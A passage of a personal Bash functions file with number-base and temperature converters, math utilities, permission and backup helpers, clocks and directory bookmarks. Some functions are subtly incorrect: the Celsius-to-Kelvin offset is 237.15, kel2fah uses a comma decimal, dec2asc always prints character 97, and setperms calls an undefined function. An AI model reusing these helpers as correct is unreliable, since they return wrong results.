if [[ $1 ]]; then
echo "obase=32 ; $(asc2dec $1)" | bc
fi
}
######
function asc2dec() {
if [[ $1 ]]; then
printf '%d\n' "'$1'"
fi
}
######
function asc2hex() {
if [[ $1 ]]; then
echo "obase=16 ; $(asc2dec $1)" | bc
fi
}
######
function asc2oct() {
if [[ $1 ]]; then
echo "obase=8 ; $(asc2dec $1)" | bc
fi
}
###### Averaging columns of numbers - Computes a columns average in a file. Input parameters = column number and optional pattern.
function avg() { awk "/$2/{sum += \$$1; lc += 1;} END {printf \"Average over %d lines: %f\n\", lc, sum/lc}"; }
###### convert binaries
function bin2all() {
if [[ $1 ]]; then
echo "binary $1 = octal $(bin2oct $1)"
echo "binary $1 = decimal $(bin2dec $1)"
echo "binary $1 = hexadecimal $(bin2hex $1)"
echo "binary $1 = base32 $(bin2b32 $1)"
echo "binary $1 = base64 $(bin2b64 $1)"
echo "binary $1 = ascii $(bin2asc $1)"
fi
}
######
function bin2asc() {
if [[ $1 ]]; then
echo -e "\0$(printf %o $((2#$1)))"
fi
}
######
function bin2b64() {
if [[ $1 ]]; then
echo "obase=64 ; ibase=2 ; $1" | bc
fi
}
######
function bin2b32() {
if [[ $1 ]]; then
echo "obase=32 ; ibase=2 ; $1 " | bc
fi
}
######
function bin2dec() {
if [[ $1 ]]; then
echo $((2#$1))
fi
}
######
function bin2hex() {
if [[ $1 ]]; then
echo "obase=16 ; ibase=2 ; $1" | bc
fi
}
######
function bin2oct() {
if [[ $1 ]]; then
echo "obase=8 ; ibase=2 ; $1" | bc
fi
}
###### simple calculator to 4 decimals
function calc() {
echo "scale=4; $1" | bc
}
###### temperature conversion
function cel2fah() {
if [[ $1 ]]; then
echo "scale=2; $1 * 1.8 + 32" | bc
fi
}
######
function cel2kel() {
if [[ $1 ]]; then
echo "scale=2; $1 + 237.15" | bc
fi
}
######
function fah2cel() {
if [[ $1 ]]; then
echo "scale=2 ; ( $1 - 32 ) / 1.8" | bc
fi
}
######
function fah2kel() {
if [[ $1 ]]; then
echo "scale=2; ( $1 + 459.67 ) / 1.8 " | bc
fi
}
######
function kel2cel() {
if [[ $1 ]]; then
echo "scale=2; $1 - 273.15" | bc
fi
}
######
function kel2fah() {
if [[ $1 ]]; then
echo "scale=2; $1 * 1.8 - 459,67" | bc
fi
}
###### Output an ASCII character given its decimal equivalent
function chr() { printf \\$(($1/64*100+$1%64/8*10+$1%8)); }
###### the notorious "hailstone" or Collatz series.
function collatz()
{
# get the integer "seed" from the command-line to generate the integer "result"
# if NUMBER is even, divide by 2, or if odd, multiply by 3 and add 1
# the theory is that every sequence eventually settles down to repeating "4,2,1..." cycles
MAX_ITERATIONS=200
# For large seed numbers (>32000), try increasing MAX_ITERATIONS.
h=${1:-$$} # Seed. # Use $PID as seed, #+ if not specified as command-line arg.
echo
echo "C($h) --- $MAX_ITERATIONS Iterations"
echo
for ((i=1; i<=MAX_ITERATIONS; i++))
do
COLWIDTH=%7d
printf $COLWIDTH $h
let "remainder = h % 2"
if [ "$remainder" -eq 0 ] # Even?
then
let "h /= 2" # Divide by 2.
else
let "h = h*3 + 1" # Multiply by 3 and add 1.
fi
COLUMNS=10 # Output 10 values per line.
let "line_break = i % $COLUMNS"
if [ "$line_break" -eq 0 ]
then
echo
fi
done
echo
}
###### temperature conversion script that lets the user enter a temperature in any of Fahrenheit, Celsius or Kelvin and receive the equivalent temperature in the other two units as the output. - usage: convertatemp F100 (if don't put F,C, or K, default is F)
function convertatemp(){
if uname | grep 'SunOS'>/dev/null ; then
echo "Yep, SunOS, let\'s fix this baby"
PATH="/usr/xpg4/bin:$PATH"
fi
if [ $# -eq 0 ] ; then
cat << EOF >&2
Usage: $0 temperature[F|C|K]
where the suffix:
F indicates input is in Fahrenheit (default)
C indicates input is in Celsius
K indicates input is in Kelvin
EOF
fi
unit="$(echo $1|sed -e 's/[-[[:digit:]]*//g' | tr '[:lower:]' '[:upper:]' )"
temp="$(echo $1|sed -e 's/[^-[[:digit:]]*//g')"
case ${unit:=F}
in
F ) # Fahrenheit to Celsius formula: Tc = (F -32 ) / 1.8
farn="$temp"
cels="$(echo "scale=2;($farn - 32) / 1.8" | bc)"
kelv="$(echo "scale=2;$cels + 273.15" | bc)"
;;
C ) # Celsius to Fahrenheit formula: Tf = (9/5)*Tc+32
cels=$temp
kelv="$(echo "scale=2;$cels + 273.15" | bc)"
farn="$(echo "scale=2;((9/5) * $cels) + 32" | bc)"
;;
K ) # Celsius = Kelvin + 273.15, then use Cels -> Fahr formula
kelv=$temp
cels="$(echo "scale=2; $kelv - 273.15" | bc)"
farn="$(echo "scale=2; ((9/5) * $cels) + 32" | bc)"
esac
echo "Fahrenheit = $farn"
echo "Celsius = $cels"
echo "Kelvin = $kelv"
}
###### convert hexadecimal numbers to decimals
function dec() { printf "%d\n" $1; }
###### convert decimals to hexadecimal numbers
function hex() { printf "0x%08x\n" $1; }
###### convert decimals
function dec2all() {
if [[ $1 ]]; then
echo "decimal $1 = binary $(dec2bin $1)"
echo "decimal $1 = octal $(dec2oct $1)"
echo "decimal $1 = hexadecimal $(dec2hex $1)"
echo "decimal $1 = base32 $(dec2b32 $1)"
echo "decimal $1 = base64 $(dec2b64 $1)"
echo "deciaml $1 = ascii $(dec2asc $1)"
fi
}
######
function dec2asc() {
if [[ $1 ]]; then
echo -e "\0$(printf %o 97)"
fi
}
######
function dec2bin() {
if [[ $1 ]]; then
echo "obase=2 ; $1" | bc
fi
}
######
function dec2b64() {
if [[ $1 ]]; then
echo "obase=64 ; $1" | bc
fi
}
######
function dec2b32() {
if [[ $1 ]]; then
echo "obase=32 ; $1" | bc
fi
}
######
function dec2hex() {
if [[ $1 ]]; then
echo "obase=16 ; $1" | bc
fi
}
######
function dec2oct() {
if [[ $1 ]]; then
echo "obase=8 ; $1" | bc
fi
}
###### number --- convert decimal integer to english words - total number Usage: dec2text 1234 -> one thousand two hundred thirty-four
function dec2text()
{
prog=`echo "$0" | sed -e 's/[^\/]*\///g'`
garbage=`echo "$*" | sed -e 's/[0-9,.]//g'`
if test ".$garbage" != "."; then
echo "$prog: Invalid character in argument." 1>&2
fi
case "$*" in
# This doesn't always seem to work.
# *[!0-9,.]* ) echo "$prog: Invalid character in argument." 1>&2; ;;
*.* ) echo "$prog: fractions not supported (yet)." 1>&2; ;;
'' ) echo "Usage: $prog [decimal integer]" 1>&2; ;;
esac
result=
eval set - "`echo ${1+\"$@\"} | sed -n -e '
s/[, ]//g
s/^00*/0/g
s/\(.\)\(.\)\(.\)$/\"\1 \2 \3\"/
:l
/[0-9][0-9][0-9]/{
s/\([^\" ][^\" ]*\)\([^\" ]\)\([^\" ]\)\([^\" ]\)/\1\"\2 \3 \4\"/g
t l
}
/^[0-9][0-9][0-9]/s/\([^\" ]\)\([^\" ]\)\([^\" ]\)/\"\1 \2 \3\"/
/^[0-9][0-9]/s/\([^\" ]\)\([^\" ]\)/\"\1 \2\"/
/^[0-9]/s/^\([^\" ][^\" ]*\)/\"\1\"/g;s/\"\"/\" \"/g
p'`"
while test $# -ne 0 ; do
eval `set - $1;
d3='' d2='' d1=''
case $# in
1 ) d1=$1 ;;
2 ) d2=$1 d1=$2 ;;
3 ) d3=$1 d2=$2 d1=$3 ;;
esac
echo "d3=\"$d3\" d2=\"$d2\" d1=\"$d1\""`
val1='' val2='' val3=''
case "$d3" in
1 ) val3=one ;; 6 ) val3=six ;;
2 ) val3=two ;; 7 ) val3=seven ;;
3 ) val3=three ;; 8 ) val3=eight ;;
4 ) val3=four ;; 9 ) val3=nine ;;
5 ) val3=five ;;
esac
case "$d2" in
1 ) val2=teen ;; 6 ) val2=sixty ;;
2 ) val2=twenty ;; 7 ) val2=seventy ;;
3 ) val2=thirty ;; 8 ) val2=eighty ;;
4 ) val2=forty ;; 9 ) val2=ninety ;;
5 ) val2=fifty ;;
esac
case "$val2" in
teen )
val2=
case "$d1" in
0 ) val1=ten ;; 5 ) val1=fifteen ;;
1 ) val1=eleven ;; 6 ) val1=sixteen ;;
2 ) val1=twelve ;; 7 ) val1=seventeen ;;
3 ) val1=thirteen ;; 8 ) val1=eighteen ;;
4 ) val1=fourteen ;; 9 ) val1=nineteen ;;
esac
;;
0 ) : ;;
* )
test ".$val2" != '.' -a ".$d1" != '.0' \
&& val2="${val2}-"
case "$d1" in
0 ) val2="$val2 " ;; 5 ) val1=five ;;
1 ) val1=one ;; 6 ) val1=six ;;
2 ) val1=two ;; 7 ) val1=seven ;;
3 ) val1=three ;; 8 ) val1=eight ;;
4 ) val1=four ;; 9 ) val1=nine ;;
esac
;;
esac
test ".$val3" != '.' && result="$result$val3 hundred "
test ".$val2" != '.' && result="$result$val2"
test ".$val1" != '.' && result="$result$val1 "
if test ".$d1$d2$d3" != '.000' ; then
case $# in
0 | 1 ) ;;
2 ) result="${result}thousand " ;;
3 ) result="${result}million " ;;
4 ) result="${result}billion " ;;
5 ) result="${result}trillion " ;;
6 ) result="${result}quadrillion " ;;
7 ) result="${result}quintillion " ;;
8 ) result="${result}sextillion " ;;
9 ) result="${result}septillion " ;;
10 ) result="${result}octillion " ;;
11 ) result="${result}nonillion " ;;
12 ) result="${result}decillion " ;;
13 ) result="${result}undecillion " ;;
14 ) result="${result}duodecillion " ;;
15 ) result="${result}tredecillion " ;;
16 ) result="${result}quattuordecillion " ;;
17 ) result="${result}quindecillion " ;;
18 ) result="${result}sexdecillion " ;;
19 ) result="${result}septendecillion " ;;
20 ) result="${result}octodecillion " ;;
21 ) result="${result}novemdecillion " ;;
22 ) result="${result}vigintillion " ;;
* ) echo "Error: number too large (66 digits max)." 1>&2; ;;
esac
fi
shift
done
set $result > /dev/null
case "$*" in
'') set zero ;;
esac
echo ${1+"$@"}
# number ends here
}
####### individual numbers - Usage: dec2text 1234 -> one two three four
function dec2text_()
{
n=$1
len=$(echo $n | wc -c)
len=$(( $len - 1 ))
for (( i=1; i<=$len; i++ ))
do
# get one digit at a time
digit=$(echo $n | cut -c $i)
# use case control structure to find digit equivalent in words
case $digit in
0) echo -n "zero " ;;
1) echo -n "one " ;;
2) echo -n "two " ;;
3) echo -n "three " ;;
4) echo -n "four " ;;
5) echo -n "five " ;;
6) echo -n "six " ;;
7) echo -n "seven " ;;
8) echo -n "eight " ;;
9) echo -n "nine " ;;
esac
done
# just print new line
echo ""
}
###### d2u
function d2u() {
if [[ -e "$1" ]]; then
sed -r 's/\r$//' -i "$1"
fi
}
###### u2d
function u2d() {
if [[ -e "$1" ]]; then
sed -r 's/$/\r/' -i "$1"
fi
}
###### factorial for integers
function factorial()
{
echo "Enter an integer: "
read n
# Below we define the factorial function in bc syntax
fact="define f (x) {
i=x
fact=1
while (i > 1) {
fact=fact*i
i=i-1
}
return fact
}"
# Below we pass the function defined above, and call it with n as a parameter and pipe it to bc
factorial=`echo "$fact;f($n)" | bc -l`
echo "$n! = $factorial"
}
###### convert hexadecimal numbers - hex2all
function hex2all() {
if [[ $1 ]]; then
echo "hexadecimal $1 = binary $(hex2bin $1)"
echo "hexadecimal $1 = octal $(hex2oct $1)"
echo "hexadecimal $1 = decimal $(hex2dec $1)"
echo "hexadecimal $1 = base32 $(hex2b32 $1)"
echo "hexadecimal $1 = base64 $(hex2b64 $1)"
echo "hexadecimal $1 = ascii $(hex2asc $1)"
fi
}
###### convert hexadecimal numbers - hex2asc
function hex2asc() {
if [[ $1 ]]; then
echo -e "\0$(printf %o $((16#$1)))"
fi
}
###### convert hexadecimal numbers - hex2bin
function hex2bin() {
if [[ $1 ]]; then
echo "obase=2 ; ibase=16 ; $1" | bc
fi
}
###### convert hexadecimal numbers - hex2b64
function hex2b64() {
if [[ $1 ]]; then
echo "obase=64 ; ibase=16 ; $1" | bc
fi
}
###### convert hexadecimal numbers - hex2b32
function hex2b32() {
if [[ $1 ]]; then
echo "obase=32 ; ibase=16 ; $1" | bc
fi
}
###### convert hexadecimal numbers - hex2dec
function hex2dec() {
if [[ $1 ]]; then
echo $((16#$1))
fi
}
###### convert hexadecimal numbers -
function hex2oct() {
if [[ $1 ]]; then
echo "obase=8 ; ibase=16 ; $1" | bc
fi
}
###### length
function length()
{
if [ $# -lt 1 ]; then
echo "count # of chars in arugment"
echo "usage: length [string]"
else
echo -n $@ | wc -c
fi
}
###### finding logs for numbers
function math-log()
{
echo "Enter value: "
read x
echo "Natural Log: ln($x) :"
echo "l($x)" | bc -l
echo "Ten Base Log: log($x) :"
echo "l($x)/l(10)" | bc -l
}
###### magic square generator (odd-order squares only!)
function msquare()
{
# Author: mendel cooper
EVEN=2
MAXSIZE=31 # 31 rows x 31 cols.
E_usage=90 # Invocation error.
dimension=
declare -i square
function usage_message()
{
echo "Usage: $0 square-size"
echo " ... where \"square-size\" is an ODD integer"
echo " in the range 3 - 31." # Works for squares up to order 159
}
function calculate() # Here's where the actual work gets done.
{
local row col index dimadj j k cell_val=1
dimension=$1
let "dimadj = $dimension * 3"; let "dimadj /= 2" # x 1.5, then truncate.
for ((j=0; j < dimension; j++))
do
for ((k=0; k < dimension; k++))
do # Calculate indices, then convert to 1-dim. array index.
# Bash doesn't support multidimensional arrays. Pity.
let "col = $k - $j + $dimadj"; let "col %= $dimension"
let "row = $j * 2 - $k + $dimension"; let "row %= $dimension"
let "index = $row*($dimension) + $col"
square[$index]=cell_val; ((cell_val++))
done
done
} # Plain math, no visualization required.
function print_square() # Output square, one row at a time.
{
local row col idx d1
let "d1 = $dimension - 1" # Adjust for zero-indexed array.
for row in $(seq 0 $d1)
do
for col in $(seq 0 $d1)
do
let "idx = $row * $dimension + $col"
printf "%3d " "${square[idx]}"; echo -n " "
done # Displays up to 13-order neatly in 80-column term window.
echo # Newline after each row.
done
}
if [[ -z "$1" ]] || [[ "$1" -gt $MAXSIZE ]]
then
usage_message
fi
let "test_even = $1 % $EVEN"
if [ $test_even -eq 0 ]
then # Can't handle even-order squares.
usage_message
fi
calculate $1
print_square # echo "${square[@]}" # DEBUG
}
###### print multiplication tables
function multitables()
{
for i in {1..9}; do for j in `seq 1 $i`; do echo -ne "${j}x${i}=$((j*i))\t"; done; echo; done
}
###### given a number, show it with comma separated values
function nicenumber()
{
# expects DD and TD to be instantiated. instantiates nicenum
# or, if a second arg is specified, the output is echoed to stdout
function nice_number()
{
# Note that we use the '.' as the decimal separator for parsing
# the INPUT value to this script. The output value is as specified
# by the user with the -d flag, if different from a '.'
integer=$(echo $1 | cut -d. -f1) # left of the decimal
decimal=$(echo $1 | cut -d. -f2) # right of the decimal
if [ $decimal != $1 ]; then
# there's a fractional part, let's include it.
result="${DD:="."}$decimal"
fi
thousands=$integer
while [ $thousands -gt 999 ]; do
remainder=$(($thousands % 1000)) # three least significant digits
while [ ${#remainder} -lt 3 ] ; do # force leading zeroes as needed
remainder="0$remainder"
done
thousands=$(($thousands / 1000)) # to left of remainder, if any
result="${TD:=","}${remainder}${result}" # builds right-to-left
done
nicenum="${thousands}${result}"
if [ ! -z $2 ] ; then
echo $nicenum
fi
}
DD="." # decimal point delimiter, between integer & fractional value
TD="," # thousands delimiter, separates every three digits
while getopts "d:t:" opt; do
case $opt in
d ) DD="$OPTARG" ;;
t ) TD="$OPTARG" ;;
esac
done
shift $(($OPTIND - 1))
if [ $# -eq 0 ] ; then
cat << "EOF" >&2
Usage: $(basename $0) [-d c] [-t c] numeric value
-d specifies the decimal point delimiter (default '.')
-t specifies the thousands delimiter (default ',')
EOF
fi
nice_number $1 1 # second arg forces this to 'echo' output
}
###### convert normal to unix
function normal2unix()
{
echo "${@}" | awk '{print mktime($0)}';
}
###### convert unix to normal
function unix2normal()
{
echo $1 | awk '{print strftime("%Y-%m-%d %H:%M:%S",$1)}';
}
###### list of numbers with equal width
function nseq()
{
seq -w 0 "$1"
}
###### convert octals - oct2all
function oct2all() {
if [[ $1 ]]; then
echo "octal $1 = binary $(oct2bin $1)"
echo "octal $1 = decimal $(oct2dec $1)"
echo "octal $1 = hexadecimal $(oct2hex $1)"
echo "octal $1 = base32 $(oct2b32 $1)"
echo "octal $1 = base64 $(oct2b64 $1)"
echo "octal $1 = ascii $(oct2asc $1)"
fi
}
###### convert octals - oct2asc
function oct2asc() {
if [[ $1 ]]; then
echo -e "\0$(printf %o $((8#$1)))"
fi
}
###### convert octals - oct2bin
function oct2bin() {
if [[ $1 ]]; then
echo "obase=2 ; ibase=8 ; $1" | bc
fi
}
###### convert octals - oct2b64
function oct2b64() {
if [[ $1 ]]; then
echo "obase=64 ; ibase=8 ; $1" | bc
fi
}
###### convert octals - oct2b32
function oct2b32() {
if [[ $1 ]]; then
echo "obase=32 ; ibase=8 ; $1" | bc
fi
}
###### convert octals - oct2dec
function oct2dec() {
if [[ $1 ]]; then
echo $((8#$1))
fi
}
###### convert octals - oct2hex
function oct2hex() {
if [[ $1 ]]; then
echo "obase=16 ; ibase=8 ; $1" | bc
fi
}
###### Pascal's triangle
function pascal() { l=15;for((i=0;i<$l;i++));do eval "a$i=($(pv=1;v=1;for((j=0;j<$l-$i;j++));do [ $i -eq 0 -o $j -eq 0 ]&&{ v=1 && pv=1; }||v=$((pv+a$((i-1))[$((j))]));echo -n "$v ";pv=$v;done;));";o="$(eval echo "$(for((k=0;k<=$i;k++)); do eval "echo -n \"\$((a\$((i-k))[k])) \""; done)")";echo "$o";s="${#o}"; done; } | while read l; do j=$((s-${#l}/2)); echo "$(while ((i++ < j)); do echo -n " ";done;)$l";done
###### convert phone numbers to letters/potentially english words
function phone2text()
{
echo -n "Enter number: "
read num
# Create a list of possibilites for expansion by the shell
# the "\}" is an ugly hack to get "}" into the replacment string -
# this is not a clean escape sequence - the litteral "\" is left behind!
num="${num//2/{a,b,c\}}"
num="${num//3/{d,e,f\}}"
num="${num//4/{g,h,i\}}"
num="${num//5/{j,k,l\}}"
num="${num//6/{m,n,o\}}"
num="${num//7/{p,q,r,s\}}"
num="${num//8/{t,u,v\}}"
num="${num//9/{w,x,y,z\}}"
# cleaup from the hack - remove all litteral \'s
num="${num//\\/}"
echo ""
echo "Possible words are:"
for word in $( eval echo "$num" )
do
echo '>' "$word"
done
# End of File
}
###### powers of numerals
function power() {
if [[ $1 ]]; then
if [[ $2 ]]; then
echo "$1 ^ $2" | bc
else echo "$1 ^ 2" | bc
fi
fi
}
###### generate prime numbers, without using arrays.
function primes()
{
LIMIT=1000 # Primes, 2 ... 1000.
Primes()
{
(( n = $1 + 1 )) # Bump to next integer.
shift # Next parameter in list.
# echo "_n=$n i=$i_"
if (( n == LIMIT ))
then echo $*
return
fi
for i; do # "i" set to "@", previous values of $n.
# echo "-n=$n i=$i-"
(( i * i > n )) && break # Optimization.
(( n % i )) && continue # Sift out non-primes using modulo operator.
Primes $n $@ # Recursion inside loop.
return
done
Primes $n $@ $n # Recursion outside loop.
# Successively accumulate
#+ positional parameters.
# "$@" is the accumulating list of primes.
}
Primes 1
}
###### radicals of numbers
function radical() {
if [[ $1 ]]; then
echo "sqrt($1)" | bc -l
fi
}
###### convert to roman numerals
function roman-numeral()
{
python -c 'while True: print (lambda y,x=[],nums={ 1000:"M",900:"CM",500:"D",400:"CD",100:"C",90:"XC",
50:"L",40:"XL",10:"X",9:"IX",5:"V",4:"IV",1:"I"}: (lambda ro=(lambda : map(lambda g,r=lambda b:x.append(
y[-1]/b),t=lambda v:y.append(y[-1]%v):map(eval,["r(g)","t(g)"]),sorted(nums.keys())[::-1]))():"".join(
map(lambda fg: map(lambda ht: nums[ht],sorted(nums.keys())[::-1])[fg] * x[fg],range(len(x)))))())([int(
raw_input("Please enter a number between 1 and 4000: "))])'
}
###### round numerals to whole numbers
function round() {
if [[ $1 ]]; then
if [[ $2 ]]; then
echo "$(printf %.${2}f $1)"
else echo "$(printf %.0f $1)"
fi
fi
}
###### ruler that stretches across the terminal
function ruler() { for s in '....^....|' '1234567890'; do w=${#s}; str=$( for (( i=1; $i<=$(( ($COLUMNS + $w) / $w )) ; i=$i+1 )); do echo -n $s; done ); str=$(echo $str | cut -c -$COLUMNS) ; echo $str; done; }
###### convert seconds to minutes, hours, days, and etc. - inputs a number of seconds, outputs a string like "2 minutes, 1 second" $1: number of seconds
function sec2all()
{
local millennia=$((0))
local centuries=$((0))
local years=$((0))
local days=$((0))
local hour=$((0))
local mins=$((0))
local secs=$1
local text=""
# convert seconds to days, hours, etc
millennia=$((secs / 31536000000))
secs=$((secs % 31536000000))
centuries=$((secs / 3153600000))
secs=$((secs % 3153600000))
years=$((secs / 31536000))
secs=$((secs % 31536000))
days=$((secs / 86400))
secs=$((secs % 86400))
hour=$((secs / 3600))
secs=$((secs % 3600))
mins=$((secs / 60))
secs=$((secs % 60))
# build full string from unit strings
text="$text$(seconds-convert-part $millennia "millennia")"
text="$text$(seconds-convert-part $centuries "century")"
text="$text$(seconds-convert-part $years "year")"
text="$text$(seconds-convert-part $days "day")"
text="$text$(seconds-convert-part $hour "hour")"
text="$text$(seconds-convert-part $mins "minute")"
text="$text$(seconds-convert-part $secs "second")"
# trim leading and trailing whitespace
text=${text## }
text=${text%% }
# special case for zero seconds
if [ "$text" == "" ]; then
text="0 seconds"
fi
# echo output for the caller
echo ${text}
}
# formats a time unit into a string - $1: integer count of units: 0, 6, etc - $2: unit name: "hour", "minute", etc
function seconds-convert-part()
{
local unit=$1
local name=$2
if [ $unit -ge 2 ]; then
echo " ${unit} ${name}s"
elif [ $unit -ge 1 ]; then
echo " ${unit} ${name}"
else
echo ""
fi
}
###### finding the square root of numbers
function sqrt()
{
echo "sqrt ("$1")" | bc -l
}
###### converts a string (words, text) to binary
function string2bin()
{
perl -nle 'printf "%0*v8b\n"," ",$_'
}
###### trigonmetry calculations with angles
function trig-angle()
{
echo "Enter angle in degree: "
read deg
# Note: Pi calculation
# tan(pi/4) = 1
# atan(1) = pi/4 and
# pi = 4*atan(1)
pi=`echo "4*a(1)" | bc -l`
rad=`echo "$deg*($pi/180)" | bc -l`
echo "$deg Degree = $rad Radian"
echo "Sin($deg): "
echo "s($rad)" | bc -l
echo "Cos($deg): "
echo "c($rad)" | bc -l
echo "Tan($deg): "
echo "s($rad)/c($rad)" | bc -l
}
####### Ask
function ask()
{
echo -n "$@" '[y/n] ' ; read ans
case "$ans" in
y*|Y*) return 0 ;;
*) return 1 ;;
esac
}
######## Escape potential tarbombs
function atb() { l=$(tar tf $1); if [ $(echo "$l" | wc -l) -eq $(echo "$l" | grep $(echo "$l" | head -n1) | wc -l) ]; then tar xf $1; else mkdir ${1%.tar.gz} && tar xf $1 -C ${1%.tar.gz}; fi ; }
######### Get the headlines of an atom feed
function atomtitles()
{
curl --silent $1 | xmlstarlet sel -N atom="http://www.w3.org/2005/Atom" -t -m /atom:feed/atom:entry -v atom:title -n
}
####### backupsfolder
function backupsfolder()
{
if [ -d $HOME/backups_html ]; then
chown -R $USER:www-data $HOME/backups_html
chmod 755 $HOME/backups_html
find $HOME/backups_html/ -type d -exec chmod 775 {} \;
find $HOME/backups_html/ -type f -exec chmod 664 {} \;
chmod 755 $HOME
fi
}
####### private
function private()
{
find $HOME -type d -exec chmod 700 {} \;
find $HOME -type f -exec chmod 600 {} \;
find $HOME/bin -type f -exec chmod +x {} \;
find $HOME/.dropbox-dist/dropbox* -type f -exec chmod +x {} \;
}
####### publicfolder
function publicfolder()
{
if [ -d $HOME/public_html ]; then
chown -R $USER:www-data $HOME/public_html
chmod 755 $HOME/public_html
find $HOME/public_html/ -type d -exec chmod 775 {} \;
find $HOME/public_html/ -type f -exec chmod 664 {} \;
chmod 755 $HOME
fi
}
####### setperms
function setperms()
{
echo "setting proper permissions in ~/"
private
public
}
####### wwwrc
function wwwrc()
{
alias mv="mv"
mv -f ~/.[a-z]*.html ~/public_html/
chmod 644 ~/public_html/.[a-z]*.html
chown $USER:www-data ~/public_html/.[a-z]*.html
alias mv="mv -i"
}
####### Backup .bash* files
function backup_bashfiles()
{
ARCHIVE="$HOME/bash_dotfiles_$(date +%Y%m%d_%H%M%S).tar.gz";
cd ~
tar -czvf $ARCHIVE .bash_profile .bashrc .bash_functions .bash_aliases .bash_prompt
echo "All backed up in $ARCHIVE";
}
####### Creates a backup of the file passed as parameter with the date and time
function bak()
{
cp $1 $1_`date +%H:%M:%S_%d-%m-%Y`
}
####### Good bash tips for everyone
function bashtips() {
cat <<EOF
DIRECTORIES
-----------
~- Previous working directory
pushd tmp Push tmp && cd tmp
popd Pop && cd
GLOBBING AND OUTPUT SUBSTITUTION
--------------------------------
ls a[b-dx]e Globs abe, ace, ade, axe
ls a{c,bl}e Globs ace, able
\$(ls) \`ls\` (but nestable!)
HISTORY MANIPULATION
--------------------
!! Last command
!?foo Last command containing \`foo'
^foo^bar^ Last command containing \`foo', but substitute \`bar'
!!:0 Last command word
!!:^ Last command's first argument
!\$ Last command's last argument
!!:* Last command's arguments
!!:x-y Arguments x to y of last command
C-s search forwards in history
C-r search backwards in history
LINE EDITING
------------
M-d kill to end of word
C-w kill to beginning of word
C-k kill to end of line
C-u kill to beginning of line
M-r revert all modifications to current line
C-] search forwards in line
M-C-] search backwards in line
C-t transpose characters
M-t transpose words
M-u uppercase word
M-l lowercase word
M-c capitalize word
COMPLETION
----------
M-/ complete filename
M-~ complete user name
M-@ complete host name
M-\$ complete variable name
M-! complete command name
M-^ complete history
EOF
}
###### # Execute a given Linux command on a group of files - Example1: batchexec sh ls # lists all files that have the extension 'sh' - Example2: batchexec sh chmod 755 # 'chmod 755' all files that have the extension 'sh'
function batchexec()
{
find . -type f -iname '*.'${1}'' -exec ${@:2} {} \; ;
}
# Clock - A bash clock that can run in your terminal window.
#------------------------------------------////
###### binary clock
function bclock()
{
watch -n 1 'echo "obase=2;`date +%s`" | bc'
}
###### binary clock
function bclock2()
{
perl -e 'for(;;){@d=split("",`date +%H%M%S`);print"\r";for(0..5){printf"%.4b ",$d[$_]}sleep 1}'
}
###### clock
function clock()
{
while true;do clear;echo "===========";date +"%r";echo "===========";sleep 1;done
}
###### Appends a '&' to a command so it will run in the background - useful for aliases
function bg_wrapper()
{
"$@" &
}
####### Substitutes underscores for blanks in all the - filenames in a directory
function blank_rename()
{
ONE=1 # For getting singular/plural right (see below).
number=0 # Keeps track of how many files actually renamed.
FOUND=0 # Successful return value.
for filename in * #Traverse all files in directory.
do
echo "$filename" | grep -q " " # Check whether filename
if [ $? -eq $FOUND ] #+ contains space(s).
then
fname=$filename # Yes, this filename needs work.
n=`echo $fname | sed -e "s/ /_/g"` # Substitute underscore for blank.
mv "$fname" "$n" # Do the actual renaming.
let "number += 1"
fi
done
if [ "$number" -eq "$ONE" ] # For correct grammar.
then
echo "$number file renamed."
else
echo "$number files renamed."
fi
}
####### Convert bluray to xvid # example: bluray2xvid bluraydisc.m2ts desired_name.avi
function bluray2xvid()
{
mencoder $1 -oac mp3lame -lameopts cbr:br=128 -ofps 24 -vf harddup -vf scale=1280:720 -ovc xvid -xvidencopts fixed_quant=3 -o $2
}
# Bookmarking
#------------------------------------------////
###### bookmarking the current directory in 'alias' form
function bookmark() {
if [[ $1 != "" && $(alias | grep -w go-$1) == "" ]]; then
echo "alias go-$1='cd $PWD'" >> $HOME/.bookmarks
. $HOME/.bookmarks
elif [[ $1 == "" ]]; then
echo "need name for the bookmark."
else echo "bookmark go-$1 already exists."
fi
}
###### unmark
function unmark() {
if [[ $(alias | grep -w go-$1= ) != "" ]]; then
sed -e "/go-$1/d" -i $HOME/.bookmarks
xunalias go-$1
fi
}
###### copies files to a bookmarked dir - cto file1.jpg file2.jpg file3.jpg pics
function cto() {
eval lastarg=\${$#}
targetdir=`getBookmark $lastarg`
echo "Copying files to $targetdir"
if [ -n "$targetdir" ]; then
for dir in "$@";
do
if [ "$dir" != $lastarg ]; then
cp -iv "$dir" "$targetdir"
fi
done
fi
}
###### moves files to a bookmarked dir - mto vid1.avi vid2.avi videos
function mto() {
eval lastarg=\${$#}
targetdir=`getBookmark $lastarg`
echo "Moving files to $targetdir"
if [ -n "$targetdir" ]; then
for dir in "$@";
do
if [ "$dir" != $lastarg ]; then
mv -iv "$dir" "$targetdir"
fi
done
fi
}
###### Directory Bookmarks for BASH (c) 2009, Ira Chayut, Version 090927
# DirB and its implementation in this file are the product of, and
# copyrighted by Ira Chayut. You are granted a non-exclusive, royalty-free
# license to use, reproduce, modify and create derivative works from DirB;
# providing that credit is given to DirB as a source material.
# The lastest version is available from: http://www.dirb.info/bashDirB. Ira can
# be reached at [email protected].
# By default DirB will have the shell echo the current working directory out
# to the title bars of Xterm windows. To disable this behavior, comment
# out the next line.
# PS1="\[\033]0;\w\007\]\t \!> "
# If the repository of bookmarks does not exist, create it
if [ ! -e ~/.DirB ]
then
mkdir ~/.DirB
fi
###### "d" - Display (or Dereference) a saved bookmark - to use: cd "$(d xxx)"
function d() {
# if the bookmark exists, then extract its directory path and print it
if [ -e ~/.DirB/"$1" ]
then
sed -e 's/\$CD //' -e 's/\\//g' ~/.DirB/"$1"
# if the bookmark does not exists, complain and exit with a failing code
else
echo bash: DirB: ~/.DirB/"$1" does not exist >&2
false
fi
}
###### "g" - Go to bookmark
function g() {
# if no arguments, then just go to the home directory
if [ -z "$1" ]
then
cd
else
# if $1 is in ~/.DirB and does not begin with ".", then go to it
if [ -f ~/.DirB/"$1" -a ${1:0:1} != "." ]
then
# update the bookmark's timestamp and then execute it
touch ~/.DirB/"$1" ;
CD=cd source ~/.DirB/"$1" ;
# else just do a "cd" to the argument, usually a directory path of "-"
else
cd "$1"
fi
fi
}
###### "p" - Push a bookmark
function p() {
# Note, the author's preference is to list the directory stack in a single
# column. Thus, the standard behavior of "pushd" and "popd" have been
# replaced by discarding the normal output of these commands and using a
# "dirs -p" after each one.
# if no argument given, then just pushd and print out the directory stack
if [ -z "$1" ]
then
pushd > /dev/null && dirs -p
# if $1 is a dash, then just do a "popd" and print out the directory stack
